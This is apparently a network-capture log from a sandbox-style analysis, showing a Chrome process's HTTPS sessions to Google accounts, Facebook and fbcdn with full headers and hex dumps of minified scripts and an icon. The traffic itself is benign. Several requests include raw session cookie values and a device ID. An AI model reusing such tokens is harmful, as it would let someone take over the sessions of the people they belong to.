Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49872	142.251.35.174	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:00 UTC	1212	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-944025339&timestamp=1705534498711 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:00 UTC	1682	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-L0pKt-sxVYskio13v3QKkg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:00 GMT Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 37 36 37 30 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4c 30 70 4b 74 2d 73 78 56 59 73 6b 69 6f 31 33 76 33 51 4b 6b 67 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 Data Ascii: 7670<html><head><script nonce="L0pKt-sxVYskio13v3QKkg">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){("unde
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 61 29 7b 69 66 28 66 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 22 37 2e 30 22 3d 3d 63 5b 31 5d 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 Data Ascii: a){if(fa())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),"7.0"==c[1])if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;ca
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 3d 22 5b 65 72 72 6f 72 5d 20 22 2b 63 2e 6d 65 73 73 61 67 65 7d 72 65 74 75 72 6e 20 61 7d 2c 78 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7a 28 61 29 3b 31 21 3d 3d 28 62 26 31 29 26 26 28 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 61 29 26 26 28 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 29 2c 41 28 61 2c 62 7c 31 29 29 7d 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 0a 5b 5d 3b 79 61 28 61 2c 31 29 3b 72 65 74 75 72 6e 20 61 7d 2c 41 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 3e 3e 31 34 26 31 30 32 33 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 61 3f 35 33 36 38 37 30 39 31 32 3a 61 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 28 21 Data Ascii: ="[error] "+c.message}return a},xa=function(a){var b=z(a);1!==(b&1)&&(Object.isFrozen(a)&&(a=Array.prototype.slice.call(a)),A(a,b\|1))},za=function(){var a=[];ya(a,1);return a},Aa=function(a){a=a>>14&1023;return 0===a?536870912:a},Ca=function(a){return!(!
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 78 79 7a 30 31 32 33 34 35 36 37 38 39 22 2e 73 70 6c 69 74 28 22 22 29 3b 0a 64 3d 5b 22 2b 2f 3d 22 2c 22 2b 2f 22 2c 22 2d 5f 3d 22 2c 22 2d 5f 2e 22 2c 22 2d 5f 22 5d 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 35 3e 65 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 63 2e 63 6f 6e 63 61 74 28 64 5b 65 5d 2e 73 70 6c 69 74 28 22 22 29 29 3b 4b 61 5b 65 5d 3d 66 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 7b 76 61 72 20 67 3d 66 5b 68 5d 3b 76 6f 69 64 20 30 3d 3d 3d 43 5b 67 5d 26 26 28 43 5b 67 5d 3d 68 29 7d 7d 7d 62 3d 4b 61 5b 62 5d 3b 63 3d 41 72 72 61 79 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2e 6c 65 6e 67 74 68 2f 33 29 29 3b 64 3d 62 5b 36 34 5d 7c 7c 22 22 3b 66 6f 72 28 65 3d 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 Data Ascii: xyz0123456789".split("");d=["+/=","+/","-_=","-_.","-_"];for(var e=0;5>e;e++){var f=c.concat(d[e].split(""));Ka[e]=f;for(var h=0;h<f.length;h++){var g=f[h];void 0===C[g]&&(C[g]=h)}}}b=Ka[b];c=Array(Math.floor(a.length/3));d=b[64]\|\|"";for(e=f=0;f<a.length
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 26 28 72 3d 21 30 29 3b 6b 2d 2d 7d 66 6f 72 28 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 30 3c 6b 3b 6b 2d 2d 29 7b 49 3d 6b 2d 31 3b 66 3d 62 5b 49 5d 3b 69 66 28 21 28 6e 75 6c 6c 3d 3d 66 7c 7c 21 52 61 26 26 44 61 28 66 2c 64 2c 49 2d 65 29 7c 7c 21 53 61 26 26 43 61 28 66 29 26 26 30 3d 3d 3d 66 2e 73 69 7a 65 29 29 62 72 65 61 6b 3b 76 61 72 20 70 63 3d 21 30 7d 69 66 28 21 72 26 26 21 70 63 29 72 65 74 75 72 6e 20 62 3b 76 61 72 20 70 61 3b 68 3f 70 61 3d 62 3a 70 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 62 2c 30 2c 6b 29 3b 62 3d 70 61 3b 68 26 26 28 62 2e 6c 65 6e 67 74 68 3d 6b 29 3b 46 26 26 62 2e 70 75 73 68 28 46 29 3b 72 65 74 75 72 6e 20 62 7d 2c 55 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: &(r=!0);k--}for(e=+!!(e&512)-1;0<k;k--){I=k-1;f=b[I];if(!(null==f\|\|!Ra&&Da(f,d,I-e)\|\|!Sa&&Ca(f)&&0===f.size))break;var pc=!0}if(!r&&!pc)return b;var pa;h?pa=b:pa=Array.prototype.slice.call(b,0,k);b=pa;h&&(b.length=k);F&&b.push(F);return b},Ua=function(a,b
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 61 28 56 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 59 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f Data Ascii: ypeof d.prototype[a]&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Ya(Va(this))}})}return a});var Ya=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a},H=function(a){var b="undefined"!=typeof Symbol&&Symbo
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 2c 6d 3d 6e 65 77 20 61 28 5b 5b 6b 2c 32 5d 2c 5b 6c 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6d 2e 67 65 74 28 6b 29 7c 7c 33 21 3d 6d 2e 67 65 74 28 6c 29 29 72 65 74 75 72 6e 21 31 3b 6d 2e 64 65 6c 65 74 65 28 6b 29 3b 6d 2e 73 65 74 28 6c 2c 34 29 3b 72 65 74 75 72 6e 21 6d 2e 68 61 73 28 6b 29 26 26 34 3d 3d 6d 2e 67 65 74 28 6c 29 7d 63 61 74 63 68 28 71 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 2e Data Ascii: ,m=new a([[k,2],[l,3]]);if(2!=m.get(k)\|\|3!=m.get(l))return!1;m.delete(k);m.set(l,4);return!m.has(k)&&4==m.get(l)}catch(q){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,g=function(k){this.
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 2c 67 2e 6c 2e 73 2e 6e 65 78 74 3d 67 2e 6c 2e 6e 65 78 74 2c 67 2e 6c 2e 6e 65 78 74 2e 73 3d 67 2e 6c 2e 73 2c 67 2e 6c 2e 68 65 61 64 3d 0a 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 73 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 67 29 2e 6c 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 28 67 3d 64 28 74 68 69 73 2c 67 29 2e 6c 29 26 26 67 2e 76 61 6c 75 65 Data Ascii: ,g.l.s.next=g.l.next,g.l.next.s=g.l.s,g.l.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].s=f();this.size=0};c.prototype.has=function(g){return!!d(this,g).l};c.prototype.get=function(g){return(g=d(this,g).l)&&g.value
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 6e 20 67 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 47 28 22 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 21 3d 3d 74 79 70 65 6f 66 20 62 3f 21 31 3a 21 69 73 4e 61 4e 28 62 29 26 26 49 6e 66 69 6e 69 74 79 21 3d 3d 62 26 26 2d 49 6e 66 69 6e 69 74 79 21 3d 3d 62 7d 7d 29 3b 0a 47 28 22 4f 62 6a 65 63 74 2e 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d Data Ascii: n gb(this,function(b){return b})}});G("Number.isFinite",function(a){return a?a:function(b){return"number"!==typeof b?!1:!isNaN(b)&&Infinity!==b&&-Infinity!==b}});G("Object.is",function(a){return a?a:function(b,c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==
2024-01-17 23:35:00 UTC	1682	IN	Data Raw: 6e 64 26 26 2d 31 21 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 6e 61 74 69 76 65 20 63 6f 64 65 22 29 3f 6d 62 3a 6e 62 3b 72 65 74 75 72 6e 20 4c 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 6f 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 3d 63 2e 73 6c 69 63 65 28 29 3b 64 2e 70 75 73 68 2e 61 70 70 6c 79 28 64 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 7d 2c 70 62 3d Data Ascii: nd&&-1!=Function.prototype.bind.toString().indexOf("native code")?mb:nb;return L.apply(null,arguments)},ob=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}},pb=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49873	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:00 UTC	1570	OUT	GET /_/bscframe HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:6D-JNTZVLmEY4TJ9M5T4q09tNaSokQ:Hm2S_1tAXq0oBBMs
2024-01-17 23:35:00 UTC	1358	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:00 GMT Content-Security-Policy: script-src 'unsafe-eval';require-trusted-types-for 'script';object-src 'none' Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInSignUpUi" Cross-Origin-Resource-Policy: same-site Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"AccountsSignInSignUpUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi"}]} Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:00 UTC	20	IN	Data Raw: 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a Data Ascii: f<!DOCTYPE html>
2024-01-17 23:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49875	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:00 UTC	608	OUT	GET /rsrc.php/yb/r/hLRJ1GG_y0J.ico HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:00 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: jN3KQn2um5Jec0MvhzPgWg== Expires: Mon, 13 Jan 2025 23:09:38 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: origin-agent-cluster: ?0 X-FB-Debug: irlv5/KYc5s5tK/ZB2NX9eK92mGUNGKajAaWiPor7jf+SzuiDBHYLkQ/zkSoaBWNyJyd2mVCyRdGq4ejSwcDNw== Date: Wed, 17 Jan 2024 23:35:00 GMT Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 4286
2024-01-17 23:35:00 UTC	1	IN	Data Raw: 00 Data Ascii:
2024-01-17 23:35:00 UTC	1500	IN	Data Raw: 00 01 00 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 10 00 00 c2 1e 00 00 c2 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 80 00 06 e2 65 04 47 e0 63 00 95 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e0 64 00 bf e0 63 00 95 e2 65 00 47 ff 80 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ea 6a 0b 18 e2 66 02 96 e1 66 01 f1 e2 66 01 ff e1 65 01 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ( @ eGcdceGjfffe
2024-01-17 23:35:00 UTC	2785	IN	Data Raw: ff eb 7e 09 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f3 b3 6e ff eb 7e 09 ff ec 7e 09 ff eb 7e 09 ff eb 7e 09 ff eb 7e 09 ff eb 7e 09 ff eb 7e 09 ff eb 7e 09 ff ed 81 0b 47 ec 80 0a 95 ec 80 0a ff ec 80 0a ff ec 80 0a ff ec 80 0a ff ec 80 0a ff ec 80 0a ff ec 80 0a ff ec 80 0a ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f5 c2 8a ff ec 80 0a ff ec 80 0a ff ec 80 0a ff ec 80 0a ff ec 80 09 ff ec 80 0a ff ec 80 09 ff ec 80 09 ff ec 80 0a 95 ee 83 0b bf ed 83 0b ff ed 83 0b ff ed 82 0a ff ed 83 0b ff ed 82 0a ff ed 82 0a ff ed 82 Data Ascii: ~n~~~~~~~~G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49874	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:00 UTC	667	OUT	GET /data/manifest/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQM.AWXfYTWBBsg; _js_datr=DGSoZXKoCY8OkV9WMe-nT3iH
2024-01-17 23:35:00 UTC	605	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: datr=DGSoZXKoCY8OkV9WMe-nT3iH; expires=Thu, 20-Feb-2025 23:35:00 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=None Set-Cookie: _js_datr=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=-1705534499; path=/; domain=.facebook.com; httponly Content-Type: application/json reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}
